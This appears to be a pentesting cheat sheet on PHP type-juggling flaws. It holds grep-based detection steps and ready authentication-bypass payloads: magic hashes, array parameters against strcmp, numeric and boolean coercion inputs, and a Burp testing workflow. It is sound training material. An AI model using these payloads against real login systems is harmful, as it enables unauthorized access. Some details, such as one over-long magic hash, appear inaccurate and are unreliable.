Web

PHP Type Juggling

PHP loose comparison exploits: 0 == 'admin' bypass, magic hash 0e chains, strcmp() null return, in_array() coercion, switch() type confusion, json_decode abuse, and OSWE-style white-box identification. Every payload separated.

What is PHP Type Juggling

PHP has two equality operators: == (loose, coerces types) and === (strict, type + value). When == is used to compare user input against a password hash, admin check, or token, type coercion can make unequal values compare as equal.

This is an OSWE-critical vulnerability — found through source code review when developers use == instead of ===.


Detection — Source Code Review

Search the codebase for loose comparisons with user-controlled values:

grep -rn "==" --include="*.php" . | grep -E "\$_(GET|POST|COOKIE|REQUEST|SESSION)"
grep -rn "strcmp\|in_array\|switch\|json_decode" --include="*.php" .

Red flags:

if ($token == $stored_token)        // loose — vulnerable
if (strcmp($pass, $hash) == 0)      // vulnerable if $pass is array
if (in_array($role, $allowed))      // vulnerable without strict mode
if ($hash == "0e...")               // magic hash comparison

Type Coercion Rules

ComparisonResultWhy
0 == "admin"truestring “admin” casts to int 0
0 == ""trueempty string casts to 0
"1" == "01"trueboth cast to int 1
"10" == "1e1"true1e1 = 10.0 in scientific notation
100 == "1e2"true1e2 = 100.0
"0e12345" == "0e67890"trueboth evaluate to 0^n = 0
null == falsetrueboth falsy
null == 0truenull casts to 0
null == ""truenull casts to ""

Exploit 1: Numeric String vs Zero

When a login checks $_GET['password'] == $correct_password and $correct_password is a string that doesn’t start with a digit:

?password=0

0 == "any_non_numeric_string"true in PHP 7. (Removed in PHP 8 — PHP 8 changed this.)


Exploit 2: Magic Hashes (0e chains)

If the app hashes input with MD5/SHA1 then compares with ==:

if (md5($input) == $stored)

Find a value whose MD5 starts with 0e followed by only digits — PHP treats it as scientific notation (0 × 10^n = 0). So two different 0e hashes compare as equal.

Known MD5 magic hashes:

240610708          → 0e462097431906509019562988736854
QNKCDZO            → 0e830400451993494058024219903391
aabg74k            → 0e937826799230477098632869406888
aaK1STfY           → 0e76658526655756207688271159624026
0e215962017        → 0e291242476940776845150308577824

SHA1 magic hashes:

10932435112        → 0e07766915004133176347055865026311692244
aaO8zKZF           → 0e89257456677279068558073954252716165783

Submit any magic hash string as the password — if the stored hash is also a 0e hash, they compare equal.


Exploit 3: strcmp() Array Bypass

strcmp() returns 0 (equal) when given an array instead of a string — PHP throws a warning but returns NULL, and NULL == 0 is true:

if (strcmp($_POST['password'], $correct) == 0)

Submit the parameter as an array:

POST /login
password[]=anything

Or in JSON:

{"password": []}

strcmp([], "secret")NULL, and NULL == 0true → auth bypass.


Exploit 4: in_array() without strict

if (in_array($_GET['role'], ['admin', 'user', 'mod']))

Without the third true (strict mode) argument, PHP coerces types:

?role=0      → true (0 == 'admin' in loose comparison)
?role=0.0    → true

Exploit 5: switch() Type Coercion

switch ($_GET['type']) {
    case 0: // numeric admin check
?type=0foobar    → matches case 0 (PHP casts "0foobar" to 0)

Exploit 6: json_decode Type Confusion

If the app json_decodes a JWT-like structure and uses ==:

$data = json_decode($input);
if ($data->role == 'admin')

Submit {"role": true}true == 'admin' is true in PHP loose comparison.


Exploit 7: Hash Bypass (null / false return)

Some functions return false on failure. If compared with ==:

if (hash('sha256', $input) == false)

An input that causes hash() to fail returns false, and false == falsetrue.


Burp Suite workflow

  1. Proxy — intercept login/auth requests.
  2. Repeater — test password=0, password[]=x (array), password=0e12345 (magic hash).
  3. For array bypass: use Content-Type: application/x-www-form-urlencoded with password[]=x or Content-Type: application/json with {"password":[]}.
  4. Source code review (OSWE): grep for == comparisons with auth-related variables; look for strcmp, in_array, switch on user input.